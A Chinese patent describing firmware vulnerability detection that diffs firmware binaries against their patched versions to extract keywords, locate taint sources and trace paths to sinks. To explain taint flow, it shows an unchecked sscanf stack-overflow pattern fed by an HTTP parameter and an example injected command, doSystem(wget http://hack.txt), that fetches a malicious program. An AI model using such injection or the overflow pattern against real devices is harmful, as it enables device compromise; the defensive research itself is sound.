掌桥专利:专业的专利平台
掌桥专利
首页

基于二进制文件差异的固件漏洞检测方法及装置

文献发布时间:2023-06-19 18:25:54


基于二进制文件差异的固件漏洞检测方法及装置

技术领域

本申请涉及固件漏洞检测技术领域,尤其涉及基于二进制文件差异的固件漏洞检测方法及装置。

背景技术

污点分析是一种跟踪数据传播的程序分析技术。污点分析的目标之一是识别从攻击者控制的数据源到未经过清理的安全敏感接收器的数据流。该技术需要定义:(a)适当的数据源、(b)相应的锚函数和(c)无害化处理规则。该技术能很好地分析许多常见的安全缺陷,包括不同类型的缓冲区溢出和其他内存损坏缺陷、SQL和命令注入以及缺少授权检查等。从本质上讲,发现污点类型漏洞的有效性很大程度上依赖于良好的数据依赖性分析工具;为发现漏洞,该工具必须构建一条路径,将污点从攻击者控制的数据源传播到安全敏感的数据锚。

然而,在二进制分析中,由于间接调用的存在,使得现有的静态污点分析漏洞检测技术难以跟踪从公共源到接收器的污点数,进而导致很多漏洞被遗漏。目前,尽管现有工作使用启发式方法绕过间接调用并发现了污染式漏洞的子集,但这些启发式方法的效率低下,无法满足二进制分析中固件漏洞检测的效率要求,同时,由于缺少可靠的漏洞相关的关键字筛选机制,使得现有方式存在大量的无效关键字,进而会影响污点源定位的准确性及效率,进而会导致固件漏洞检测的可靠性差且效率低下。

发明内容

鉴于此,本申请实施例提供了基于二进制文件差异的固件漏洞检测方法及装置,以消除或改善现有技术中存在的一个或更多个缺陷。

本申请的一个方面提供了一种基于二进制文件差异的固件漏洞检测方法,包括:

判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,若是,则生成所述固件二进制文件和所述补丁二进制文件对应的差异行文件;

基于预设的漏洞关键字提取规则自所述差异行文件中提取漏洞关键字,并基于该漏洞关键字自所述固件二进制文件和所述补丁二进制文件中定位污点源,以基于该污点源对所述目标固件进行漏洞检测。

在本申请的一些实施例中,还包括:

基于自底向上的数据流分析方式获取所述目标固件的污点源到污点锚的污点传播路径,以根据该污点传播路径对所述目标固件进行固件漏洞检测。

在本申请的一些实施例中,在所述判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同之前,还包括:

获取各个固件以及各个所述固件各自对应的用于修复漏洞的补丁版本数据;

获取各个所述固件对应的固件二进制文件和各个所述补丁版本数据对应的补丁二进制文件,将同一固件对应的大小不同的所述固件二进制文件和补丁二进制文件之间的对应关系存储至一差异文件列表中。

在本申请的一些实施例中,所述判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,若是,则生成所述固件二进制文件和所述补丁二进制文件对应的差异行文件,包括:

在所述差异文件列表中选取一固件作为当前的目标固件;

判断步骤:基于预设的选取规则判断当前的目标固件对应的固件二进制文件和补丁二进制文件是否为后端类型的二进制文件且字节大小不同,若是,则将该目标固件确定为初始保留固件;

在所述差异文件列表中重新选取固件作为新的目标固件,并返回执行所述判断步骤,直到所述差异文件列表中的全部固件均执行完成所述判断步骤;

若所述初始保留固件有多个,则基于所述选取规则,在多个所述初始保留固件中选取其固件二进制文件和补丁二进制文件为服务器相关文件,并将该初始保留固件确定为待优先检测的目标固件;

生成待优先检测的目标固件的固件二进制文件和所述补丁二进制文件对应的差异行文件。

在本申请的一些实施例中,所述基于预设的漏洞关键字提取规则自所述差异行文件中提取漏洞关键字,包括:

自所述目标固件的差异行文件中读取删除行和增加行数据;

基于所述漏洞关键字提取规则中的调用函数参数提取原则在所述删除行和增加行中提取关键字以得到第一关键字列表,并基于预设的特殊关键字数据库在所述第一关键字列表中删除特殊关键字;

基于所述漏洞关键字提取规则中的增加行的条件变量提取原则在所述第一关键字列表中筛选关键字以得到对应的第二关键字列表;

以及,基于所述漏洞关键字提取规则中的共有变量提取原则在所述第二关键字列表中筛选关键字以得到对应的漏洞关键字列表,该漏洞关键字列表中的关键字均为漏洞关键字。

在本申请的一些实施例中,所述基于该漏洞关键字自所述固件二进制文件和所述补丁二进制文件中定位污点源,包括:

根据所述漏洞关键字列表,在所述目标固件的固件二进制文件和所述补丁二进制文件中定位各个所述漏洞关键字各自对应的污点源;

依次判断各个所述污点源是否存在到预设的污点锚函数的路径,并将不存在自身到预设的污点锚函数的路径的污点源及其对应的漏洞关键字删除,保留存在自身到预设的污点锚函数的路径的污点源及其对应的漏洞关键字;

记录保留的污点源所在的函数名及位置信息。

本申请的另一个方面提供了一种基于二进制文件差异的固件漏洞检测装置,包括:

二进制文件差异确定模块,用于判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,若是,则生成所述固件二进制文件和所述补丁二进制文件对应的差异行文件;

漏洞关键字提取及污点定位模块,用于基于预设的漏洞关键字提取规则自所述差异行文件中提取漏洞关键字,并基于该漏洞关键字自所述固件二进制文件和所述补丁二进制文件中定位污点源,以基于该污点源对所述目标固件进行漏洞检测。

在本申请的一些实施例中,还包括:

自底向上污点分析模块,用于基于自底向上的数据流分析方式获取所述目标固件的污点源到污点锚的污点传播路径,以根据该污点传播路径对所述目标固件进行固件漏洞检测。

本申请的另一个方面还提供了一种电子设备,包括存储器、处理器及存储在存储器上并可在处理器上运行的计算机程序,所述处理器执行所述计算机程序时实现所述的基于二进制文件差异的固件漏洞检测方法。

本申请的另一个方面还提供了一种计算机可读存储介质,其上存储有计算机程序,该计算机程序被处理器执行时实现所述的基于二进制文件差异的固件漏洞检测方法。

本申请提供的基于二进制文件差异的固件漏洞检测方法,通过判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,能够有效筛选出适用于漏洞检测的二进制文件,避免后续定位大量和漏洞无关的关键字,能够有效提高后续漏洞关键字提取的有效性及准确性,并能够提高漏洞关键字的提取效率,进而能够基于该漏洞关键字进行污点源定为的有效性及效率,以提高固件漏洞检测的有效性及效率;通过采用漏洞关键字提取规则提取漏洞关键字并定位污点源,增强了污点分析技术发现漏洞的能力,提升了定位污点源的速率,同时,提取出的关键字也可能出现在相应的补丁版本固件中,增强了基于二进制文件差异的污点分析方法触发漏洞的能力,能够进一步提高固件漏洞检测的有效性及效率。

本申请的附加优点、目的,以及特征将在下面的描述中将部分地加以阐述,且将对于本领域普通技术人员在研究下文后部分地变得明显,或者可以根据本申请的实践而获知。本申请的目的和其它优点可以通过在说明书以及附图中具体指出的结构实现到并获得。

本领域技术人员将会理解的是,能够用本申请实现的目的和优点不限于以上具体所述,并且根据以下详细说明将更清楚地理解本申请能够实现的上述和其他目的。

附图说明

此处所说明的附图用来提供对本申请的进一步理解,构成本申请的一部分,并不构成对本申请的限定。附图中的部件不是成比例绘制的,而只是为了示出本申请的原理。为了便于示出和描述本申请的一些部分,附图中对应部分可能被放大,即,相对于依据本申请实际制造的示例性装置中的其它部件可能变得更大。在附图中:

图1为本申请一实施例中的基于二进制文件差异的固件漏洞检测方法的总流程示意图。

图2为本申请一实施例中的基于二进制文件差异的固件漏洞检测方法的一种具体流程示意图。

图3为本申请另一实施例中的基于二进制文件差异的固件漏洞检测装置的一种结构示意图。

图4为本申请另一实施例中的基于二进制文件差异的固件漏洞检测装置的另一种结构示意图。

图5为本申请应用实例中提供的基于二进制文件差异的固件漏洞检测方法的执行流程示意图。

图6为本申请应用实例中提供的漏洞检测架构的举例示意图。

图7为本申请应用实例中提供的漏洞关键字提取算法的举例示意图。

图8为本申请应用实例中提供的漏洞关键字提取算法的提取实例示意图。

具体实施方式

为使本申请的目的、技术方案和优点更加清楚明白,下面结合实施方式和附图,对本申请做进一步详细说明。在此,本申请的示意性实施方式及其说明用于解释本申请,但并不作为对本申请的限定。

在此,还需要说明的是,为了避免因不必要的细节而模糊了本申请,在附图中仅仅示出了与根据本申请的方案密切相关的结构和/或处理步骤,而省略了与本申请关系不大的其他细节。

应该强调,术语“包括/包含”在本文使用时指特征、要素、步骤或组件的存在,但并不排除一个或更多个其它特征、要素、步骤或组件的存在或附加。

在此,还需要说明的是,如果没有特殊说明,术语“连接”在本文不仅可以指直接连接,也可以表示存在中间物的间接连接。

在下文中,将参考附图描述本申请的实施例。在附图中,相同的附图标记代表相同或类似的部件,或者相同或类似的步骤。

在本申请的一个或多个实施例中,所述固件(Firmware)是写入EPROM(可擦写可编程只读存储器)或EEPROM(电可擦可编程只读存储器)中的程序。固件是指设备内部保存的设备“驱动程序”,通过固件,操作系统才能按照标准的设备驱动实现特定机器的运行动作,比如光驱、刻录机等都有内部固件。

现有的方法无法有效地分析嵌入式系统中的服务来检测漏洞。由于固件的后端二进制文件存在大量关键字,因此如何选取和漏洞相关的关键字是一个难点。若仅考虑基于进程间通信或前后端会共享通用的关键字来筛选二进制文件中和漏洞有关联的关键字,则由于漏洞通常发生在后端二进制文件中,该方式会定位大量和漏洞无关的关键字,进而会影响固件漏洞检测的有效性并降低检测效率。

基于此,本申请实施例提供的基于二进制文件差异的固件漏洞检测方法,通过比对固件及其补丁版本,筛选出大小有变化的二进制文件,因为通常漏洞会出现在这些二进制文件中,然后基于二进制文件差异提取漏洞关键字,可以辅助后续的污点分析更好地定位污点源,从而更快更精确地触发漏洞。其本申请实施例提供的基于二进制文件差异的固件漏洞检测方法能够主要应用于嵌入式软件安全开发和测试中。

具体通过下述实施例进行详细说明。

本申请实施例提供一种可以由基于二进制文件差异的固件漏洞检测装置执行的基于二进制文件差异的固件漏洞检测方法,参见图1,所述基于二进制文件差异的固件漏洞检测方法具体包含有如下内容:

步骤100:判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,若是,则生成所述固件二进制文件和所述补丁二进制文件对应的差异行文件。

在本申请的一个或多个实施例中,所述目标固件是指当前待进行固件漏洞检测的固件,所述固件二进制文件是指解压固件后得到的二进制文件,补丁二进制文件是指解压目标固件对应的用于修复漏洞的补丁版本数据后得到的二进制文件,也就是说,固件二进制文件和补丁二进制文件均为二进制文件。

可以理解的是,所述补丁版本数据是指目标固件的补丁版本,该补丁版本需为用于修复漏洞的目的而发布的版本,而不是因功能优化而升级的版本。

在步骤100中,通过筛选后端类型的二进制文件来筛选能够进行漏洞检测的固件,进而有效提高后续定位漏洞关键字的有效性及效率。可以理解的是,所述固件二进制文件和补丁二进制文件均可以包含有类型标识,用于标识其属于前端类型还是后端类型。可以理解的是,前端类型是指主要运行在客户端的前端所编写的程序;而后端类型是指主要运行在服务器端的后端所编写的程序。

另外,所述差异行文件是指用于同一固件的固件二进制文件和补丁二进制文件之间的差异行及对应类型,所述类型至少包含有:删除行和增加行。

在本申请的一个或多个实施例中,目标固件及其补丁版本数据的固件名相同。

步骤200:基于预设的漏洞关键字提取规则自所述差异行文件中提取漏洞关键字,并基于该漏洞关键字自所述固件二进制文件和所述补丁二进制文件中定位污点源,以基于该污点源对所述目标固件进行漏洞检测。

在本申请的一个或多个实施例中,所述漏洞关键字是指与固件漏洞相关的关键字,这些关键字可以为人为预设数据或根据历史固件漏洞自动统计而得的数据。例如:所述漏洞关键字可以为“deviceName”或“time”等。

在本申请的一个或多个实施例中,所述漏洞关键字提取规则可以预先由人为设定并存储在基于二进制文件差异的固件漏洞检测装置的本地,其中,所述漏洞关键字提取规则可以包含有至少一个原则,若原则有多个,则还可以包含有执行各个原则的顺序。

在步骤200中,定位污点源具体可指确定该污点源在所述固件二进制文件或所述补丁二进制文件中的位置信息等。

在本申请的一个或多个实施例中,所述污点源代表直接引入不受信任的数据或者机密数据到系统中。以下述代码举例进行说明:

“v1 = WebsGetVar(input, “time”) ”;

“sscanf(v1, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v11, v10, v9, v8, v7,v6) ”;

其中,time就是漏洞关键字,此时没有函数信息。然后可以利用time这个漏洞关键字,在二进制程序中定位污点源,可以理解为此时在二进制程序中的time就被标记为污点源,且可以通过赋值操作传播到变量v1,那么此时v1就也被污染成了污点源。

其中,v1变量直接从http请求参数time中检索。而time参数可以被攻击者任意设置。v6-v11均为栈上的字符串变量。使用sscanf函数时未对被格式化字符串赋值的各个部分参数进行边界的检查,当参数time的长度大于255则会发生栈溢出漏洞。

其中sscanf即是指污点锚,即可能发生漏洞的地方。

另外,所述基于该污点源对所述目标固件进行漏洞检测是指先确定该污点源到污点锚的污点传播路径,然后基于该污点传播路径对所述目标固件进行固件漏洞检测。

从上述描述可知,本申请实施例提供的基于二进制文件差异的固件漏洞检测方法,通过判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,能够有效筛选出适用于漏洞检测的二进制文件,避免后续定位大量和漏洞无关的关键字,能够有效提高后续漏洞关键字提取的有效性及准确性,并能够提高漏洞关键字的提取效率,进而能够基于该漏洞关键字进行污点源定为的有效性及效率,以提高固件漏洞检测的有效性及效率;通过采用漏洞关键字提取规则提取漏洞关键字并定位污点源,增强了污点分析技术发现漏洞的能力,提升了定位污点源的速率,同时,提取出的关键字也可能出现在相应的补丁版本固件中,增强了基于二进制文件差异的污点分析方法触发漏洞的能力,能够进一步提高固件漏洞检测的有效性及效率。

由于一个污点源到达污点锚函数可能会有大量的污点传播路径,其中许多调用跟踪共享一些公共路径,而使得现有的固件漏洞检测方法中可能对同一个被调用函数(即调用者)进行多次分析,不但增加了工作量,还影响了污点分析及固件漏洞检测的效率。

基于此,为了有效降低污点分析的工作量和效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测方法中,参见图2,所述基于二进制文件差异的固件漏洞检测方法中的步骤200之后还具体包含有如下内容:

步骤300:基于自底向上的数据流分析方式获取所述目标固件的污点源到污点锚的污点传播路径,以根据该污点传播路径对所述目标固件进行固件漏洞检测。

在本申请的一个或多个实施例中,自底向上的数据流分析方式也可以称之为自底向上分析方法(简称LR方法),从输入流依次把符号移入到符号栈中,直至栈顶部中出现一个句柄;之后对句柄进行规约,直至栈顶部中不出现句柄为止;再重复上述过程,直至最终规约为一个开始符,且输入流为空。LR分析法的主要动作是移入和归约。

在步骤300中,可以采用预设的污点分析引擎从已确定的任一个污点源开始进行分析,由于一个污点源到达污点锚函数可能会有大量的污点传播路径,其中许多调用跟踪共享一些公共路径。为了减少工作量,避免对同一个被调用函数进行多次分析,本申请采用自底向上的数据流分析技术,生成过程间和过程内数据流,只对同一个被调用函数分析一次,在不影响精度的情况下,能够有效减少分析时间。

为了进一步提高获取二进制文件差异的可靠性及效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测方法中,参见图2,所述基于二进制文件差异的固件漏洞检测方法中的步骤100之前还具体包含有如下内容:

步骤010:获取各个固件以及各个所述固件各自对应的用于修复漏洞的补丁版本数据。

具体来说,可以编写爬虫脚本,从厂商官网下载固件及其补丁版本。固件需满足以下要求:首先,固件至少有两个版本;其次,固件的补丁版本应为处于修复漏洞的目的而发布的版本,而不是因功能的优化而升级的版本。

步骤020:获取各个所述固件对应的固件二进制文件和各个所述补丁版本数据对应的补丁二进制文件,将同一固件对应的大小不同的所述固件二进制文件和补丁二进制文件之间的对应关系存储至一差异文件列表中。

在步骤020中,解压固件后,对比同名二进制文件大小,生成差异文件列表;在一种具体举例中,所述差异文件列表的每一行均用于存储名称相同但大小不同的两个二进制文件之间的对应关系。可以理解的是,所述大小不同是指文件大小不同,单位可以为字节等,例如966368 字节,也可以写为943 KB等等。

为了进一步提高获取二进制文件差异的可靠性及效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测方法中,参见图2,所述基于二进制文件差异的固件漏洞检测方法中的步骤100具体包含有如下内容:

步骤110:在所述差异文件列表中选取一固件作为当前的目标固件。

步骤120:判断步骤:基于预设的选取规则判断当前的目标固件对应的固件二进制文件和补丁二进制文件是否为后端类型的二进制文件且字节大小不同,若是,则执行步骤130;若否,则执行步骤150。

步骤130:将该目标固件确定为初始保留固件。

步骤140:判断所述差异文件列表中的全部固件均执行完成所述判断步骤,若否,则执行步骤150,而后返回执行步骤120的判断步骤;若是,则执行步骤160。

步骤150:在所述差异文件列表中重新选取固件作为新的目标固件。

步骤160:若所述初始保留固件有多个,则基于所述选取规则,在多个所述初始保留固件中选取其固件二进制文件和补丁二进制文件为服务器相关文件,并将该初始保留固件确定为待优先检测的目标固件。

可以理解的是,所述服务器相关文件是指与服务器有关的文件,具体可以写为web服务器相关文件。

步骤170:生成待优先检测的目标固件的固件二进制文件和所述补丁二进制文件对应的差异行文件。

为了进一步提高漏洞关键字提取的有效性、准确性及效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测方法中,参见图2,所述基于二进制文件差异的固件漏洞检测方法中的步骤200具体包含有如下内容:

步骤210:自所述目标固件的差异行文件中读取删除行和增加行数据。

步骤220:基于所述漏洞关键字提取规则中的调用函数参数提取原则在所述删除行和增加行中提取关键字以得到第一关键字列表,并基于预设的特殊关键字数据库在所述第一关键字列表中删除特殊关键字。

步骤230:基于所述漏洞关键字提取规则中的增加行的条件变量提取原则在所述第一关键字列表中筛选关键字以得到对应的第二关键字列表。

步骤240:基于所述漏洞关键字提取规则中的共有变量提取原则在所述第二关键字列表中筛选关键字以得到对应的漏洞关键字列表,该漏洞关键字列表中的关键字均为漏洞关键字。

具体来说,二进制文件的差异在一定程度上反映了漏洞。通过差异文件进行与污染源相关的关键字选择,应遵循一定的选择原则,且遵循一定的优先级。差异行一般非常接近漏洞位置,这也符合安全人员在修复漏洞时的习惯。因此本申请设定三条关键字选取原则,并遵循一定的优先顺序。漏洞关键字选取原则及顺序如下:

(1)调用函数参数;

(2)增加行的条件变量;

(3)共有的变量。

为了进一步提高污点源定位的有效性、准确性及效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测方法中,参见图2,所述基于二进制文件差异的固件漏洞检测方法中的步骤200还具体包含有执行在步骤240之后的如下内容:

步骤250:根据所述漏洞关键字列表,在所述目标固件的固件二进制文件和所述补丁二进制文件中定位各个所述漏洞关键字各自对应的污点源。

步骤260:依次判断各个所述污点源是否存在到预设的污点锚函数的路径,并将不存在自身到预设的污点锚函数的路径的污点源及其对应的漏洞关键字删除,保留存在自身到预设的污点锚函数的路径的污点源及其对应的漏洞关键字。

步骤270:记录保留的污点源所在的函数名及位置信息。

在本申请的一个或多个实施例中,所述污点锚是指污点汇聚点,例如图8中的doSystem()就是污点锚函数,代表直接产生安全敏感操作或者泄露隐私数据到外界的函数。因为doSystem()中的参数可能被攻击者控制去执行一些额外命令。比如doSystem(wget http://hack.txt),攻击者可以通过doSystem执行wget下载命令去下载一些恶意程序。

从软件层面来说,本申请还提供一种用于执行所述基于二进制文件差异的固件漏洞检测方法中全部或部分内的基于二进制文件差异的固件漏洞检测装置,参见图3,所述基于二进制文件差异的固件漏洞检测装置具体包含有如下内容:

二进制文件差异确定模块10,用于判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,若是,则生成所述固件二进制文件和所述补丁二进制文件对应的差异行文件;

漏洞关键字提取及污点定位模块20,用于基于预设的漏洞关键字提取规则自所述差异行文件中提取漏洞关键字,并基于该漏洞关键字自所述固件二进制文件和所述补丁二进制文件中定位污点源,以基于该污点源对所述目标固件进行漏洞检测。

本申请提供的基于二进制文件差异的固件漏洞检测装置的实施例具体可以用于执行上述实施例中的基于二进制文件差异的固件漏洞检测方法的实施例的处理流程,其功能在此不再赘述,可以参照上述基于二进制文件差异的固件漏洞检测方法实施例的详细描述。

所述基于二进制文件差异的固件漏洞检测装置进行基于二进制文件差异的固件漏洞检测的部分可以在服务器中执行,例如边缘服务器,而在另一种实际应用情形中,也可以所有的操作都在客户端设备中完成。具体可以根据所述客户端设备的处理能力,以及用户使用场景的限制等进行选择。本申请对此不作限定。若所有的操作都在所述客户端设备中完成,所述客户端设备还可以包括处理器,用于基于二进制文件差异的固件漏洞检测的具体处理。

上述的客户端设备可以具有通信模块(即通信单元),可以与远程的服务器进行通信连接,实现与所述服务器的数据传输。所述服务器可以包括任务调度中心一侧的服务器,其他的实施场景中也可以包括中间平台的服务器,例如与任务调度中心服务器有通信链接的第三方服务器平台的服务器。所述的服务器可以包括单台计算机设备,也可以包括多个服务器组成的服务器集群,或者分布式装置的服务器结构。

上述服务器与所述客户端设备端之间可以使用任何合适的网络协议进行通信,包括在本申请提交日尚未开发出的网络协议。所述网络协议例如可以包括TCP/IP协议、UDP/IP协议、HTTP协议、HTTPS协议等。当然,所述网络协议例如还可以包括在上述协议之上使用的RPC协议(Remote Procedure Call Protocol,远程过程调用协议)、REST协议(Representational State Transfer,表述性状态转移协议)等。

从上述描述可知,本申请实施例提供的基于二进制文件差异的固件漏洞检测装置,通过判断目标固件对应的固件二进制文件以及该目标固件的用于修复漏洞的补丁版本数据对应的补丁二进制文件是否为后端类型的二进制文件且大小不同,能够有效筛选出适用于漏洞检测的二进制文件,避免后续定位大量和漏洞无关的关键字,能够有效提高后续漏洞关键字提取的有效性及准确性,并能够提高漏洞关键字的提取效率,进而能够基于该漏洞关键字进行污点源定为的有效性及效率,以提高固件漏洞检测的有效性及效率;通过采用漏洞关键字提取规则提取漏洞关键字并定位污点源,增强了污点分析技术发现1-day漏洞的能力,提升了定位污点源的速率,同时,提取出的关键字也可能出现在相应的补丁版本固件中,增强了基于二进制文件差异的污点分析方法触发漏洞的能力,能够进一步提高固件漏洞检测的有效性及效率。

为了有效降低污点分析的工作量和效率,在本申请实施例提供的一种基于二进制文件差异的固件漏洞检测装置中,参见图4,所述基于二进制文件差异的固件漏洞检测装置还具体包含有如下内容:

自底向上污点分析模块30,用于基于自底向上的数据流分析方式获取所述目标固件的污点源到污点锚的污点传播路径,以根据该污点传播路径对所述目标固件进行固件漏洞检测。

为了进一步说明本方案,本申请还提供一种基于二进制文件差异的固件漏洞检测方法的具体应用实例,主要目的是提高污点分析在发现1-day漏洞和0-day漏洞中的能力,该方法通过比对固件及其补丁版本,筛选出大小有变化的二进制文件,通常漏洞会出现在这些二进制文件中,该方法提出了一种基于二进制文件比对的漏洞关键字提取方法,可以辅助后续的污点分析更好地定位污点源,从而更快更精确地触发漏洞。并且该方法在污点传播阶段,使用自底向上的数据流分析方式,避免对同一个被调用者进行多次分析,节省了污点分析时间,同时不影响污点分析的精度。

本申请应用实例基于固件及其补丁版本对比技术,提取和漏洞密切相关的关键字,用于准确且有效地定位污点源,进而提高漏洞检测的有效性及效率。

具体包括以下步骤:

本申请应用实例采用如图6所示的漏洞检测架构实现如图5所示的基于二进制文件差异的固件漏洞检测方法,该基于二进制文件差异的固件漏洞检测方法的实现步骤如下:

(一)选取二进制文件并查找漏洞关键字

步骤1.从厂商网站爬取固件P及其补丁版本固件P’。

编写爬虫脚本,从厂商官网下载固件及其补丁版本。固件需满足以下要求:首先,固件至少有两个版本;其次,固件的补丁版本应为处于修复漏洞的目的而发布的版本,而不是因功能的优化而升级的版本。

步骤2.解压固件后,对比同名二进制文件大小,生成差异文件列表;

在一种具体举例中,所述差异文件列表的每一行均用于存储名称相同但大小不同的两个二进制文件之间的对应关系。

步骤3.从差异文件列表中根据大小变化确认要选取进行分析的同名的二进制文件B和二进制文件B’;可以理解的是,“B”和“B’”仅为用于指代相同名称但不同大小的两个二进制文件的标识,而非二进制文件的名称。

在一种优选实施方式中,二进制文件的选取可以基于以下选取规则:

(1)首先,排除前端类型的二进制文件,一般修复的都是后端相关的二进制文件,且前端修改的一般是日期或者标签之类的关键字,而且一次修改很多,导致两个版本的同一个前端文件,有大小差异。因此可以排除前端文件,减少工作量。

(2)其次,对解压后的固件系统进行比较,以字节为单位,根据文件大小进行比较。对于大小没变的文件,我们可以认为两个二进制文件完全相同,不存在我们感兴趣的差异行。因此可以排除字节大小无变化的二进制文件。

(3)优先选取和web服务器相关的二进制文件,如httpd文件等。web服务器通常最有可能包含和用户输入相关的漏洞。

步骤4.比对二进制文件B和B’,生成差异行文件,该差异行文件用于标识二进制文件B和B’之间的差异行及对应类型,所述类型包括:删除行和增加行。

步骤5.基于漏洞关键字选取原则及算法,提取关键字,生成关键字列表K。

二进制文件的差异在一定程度上反映了漏洞。通过差异文件进行与污染源相关的关键字选择,应遵循一定的选择原则,且遵循一定的优先级。差异行一般非常接近漏洞位置,这也符合安全人员在修复漏洞时的习惯。因此本申请设定三条关键字选取原则,并遵循一定的优先顺序。漏洞关键字选取原则及顺序如下:

(1)调用函数参数;

(2)增加行的条件变量;

(3)共有的变量。

相对应的,漏洞关键字提取算法举例如图7所示。该算法实现从差异文件中提取合适的与漏洞相关的关键字,关键字选择基于上面给出的三个规则并根据相应的顺序依次选取。漏洞关键字提取算法的提取实例如图8所示。

漏洞关键字提取算法首先返回从差异文件读取的删除行和增加行的两个数组,然后获取基于关键字选择原则第一条(调用函数参数)所选择出来的关键字,即函数参数;而后移除二进制文件的特殊关键字。接着用第二条原则(增加行的条件变量)进行关键字选择,再基于第三条原则(共有变量)进行关键字筛选,直到选取合适的漏洞关键字列表K返回。

在图7中,diffPath为差异文件路径,removeList为二进制文件的特殊关键词,输出 KeyWords为保存关键字的数组。getLineDiff(diffPath)为从差异文件读取删除和增加行,getFunction(diffPath)为获取差异文件中含有的调用函数的参数,getCondition(addLines)为添加获取增加行if条件里的变量。

其中,图8中的v2,v10,v11,v15,v17、v12,v13,v14,v16,v18分别表示函数的变量,这些变量中,有的变量是用来存储来自用户的输入,即可控变量。攻击者可以控制这些变量的传参来触发漏洞。“date -s”等参数就是我们要提取的漏洞关键字。

提取完漏洞关键字之后,就可以利用date -s这个漏洞关键字,在二进制文件中定位到有地方调用了漏洞关键字,从而去帮助定位污点源,继而发现漏洞。

(二)识别污点源

可以采用污点识别模块进行污点源识别,具体可以包含有如下内容:

步骤6.根据漏洞关键字列表K,在二进制文件B和B’中确定污点源的位置,记录污点所在函数的函数名及其位置,生成污点传播路径链;

步骤7.判断是否有从当前关键字对应的污点源到预设的污点锚函数的路径,如果有,则执行步骤9,若否,则执行步骤8;

步骤8.去掉该关键字,不对其进行分析;

步骤9.确定并记录污点源所在的函数名及位置;

(三)使用自底向上的数据流分析方式进行污点分析

步骤10.进行污点传播,使用自底向上的数据流分析方式生成过程内和过程间数据流,避免对同一个被调用者进行多次分析。生成从污点源到污点锚的污点传播路径。节省了污点分析时间,同时不影响污点分析的精度。

具体来说,步骤10可以采用预设的污点分析引擎从步骤9确定的任一个污点源开始进行分析,由于一个污点源到达污点锚函数可能会有大量的污点传播路径,其中许多调用跟踪共享一些公共路径。为了减少工作量,避免对同一个被调用函数(即调用者)进行多次分析,本申请采用自底向上的数据流分析技术,生成过程间和过程内数据流,只对同一个被调用函数分析一次,在不影响精度的情况下,能够有效减少分析时间。

步骤11.根据步骤10生成的污点传播路径的链路来检测固件漏洞。

综上所述,本申请应用实例提供的基于二进制文件差异的固件漏洞检测方法,具备如下有益效果:

1)基于与漏洞密切相关的关键字增强了污点分析技术发现1-day漏洞的能力,提升了定位污点源的速率。同时,提取出的关键字也可能出现在相应的补丁版本固件中,增强了基于二进制文件差异的污点分析方法触发漏洞的能力。

2)使用自底向上的数据流分析方式,与之前自顶向下的分析技术相比,避免了对同一个被调用者进行多次分析。

本申请实施例还提供了一种电子设备(也即电子设备),例如中心服务器,该电子设备可以包括处理器、存储器、接收器及发送器,处理器用于执行上述实施例提及的基于二进制文件差异的固件漏洞检测方法,其中处理器和存储器可以通过总线或者其他方式连接,以通过总线连接为例。该接收器可通过有线或无线方式与处理器、存储器连接。

处理器可以为中央处理器(Central Processing Unit,CPU)。处理器还可以为其他通用处理器、数字信号处理器(Digital Signal Processor,DSP)、专用集成电路(Application Specific Integrated Circuit,ASIC)、现场可编程门阵列(Field-Programmable Gate Array,FPGA)或者其他可编程逻辑器件、分立门或者晶体管逻辑器件、分立硬件组件等芯片,或者上述各类芯片的组合。

存储器作为一种非暂态计算机可读存储介质,可用于存储非暂态软件程序、非暂态计算机可执行程序以及模块,如本申请实施例中的基于二进制文件差异的固件漏洞检测方法对应的程序指令/模块。处理器通过运行存储在存储器中的非暂态软件程序、指令以及模块,从而执行处理器的各种功能应用以及数据处理,即实现上述方法实施例中的基于二进制文件差异的固件漏洞检测方法。

存储器可以包括存储程序区和存储数据区,其中,存储程序区可存储操作系统、至少一个功能所需要的应用程序;存储数据区可存储处理器所创建的数据等。此外,存储器可以包括高速随机存取存储器,还可以包括非暂态存储器,例如至少一个磁盘存储器件、闪存器件、或其他非暂态固态存储器件。在一些实施例中,存储器可选包括相对于处理器远程设置的存储器,这些远程存储器可以通过网络连接至处理器。上述网络的实例包括但不限于互联网、企业内部网、局域网、移动通信网及其组合。

所述一个或者多个模块存储在所述存储器中,当被所述处理器执行时,执行实施例中的基于二进制文件差异的固件漏洞检测方法。

在本申请的一些实施例中,用户设备可以包括处理器、存储器和收发单元,该收发单元可包括接收器和发送器,处理器、存储器、接收器和发送器可通过总线系统连接,存储器用于存储计算机指令,处理器用于执行存储器中存储的计算机指令,以控制收发单元收发信号。

作为一种实现方式,本申请中接收器和发送器的功能可以考虑通过收发电路或者收发的专用芯片来实现,处理器可以考虑通过专用处理芯片、处理电路或通用芯片实现。

作为另一种实现方式,可以考虑使用通用计算机的方式来实现本申请实施例提供的服务器。即将实现处理器,接收器和发送器功能的程序代码存储在存储器中,通用处理器通过执行存储器中的代码来实现处理器,接收器和发送器的功能。

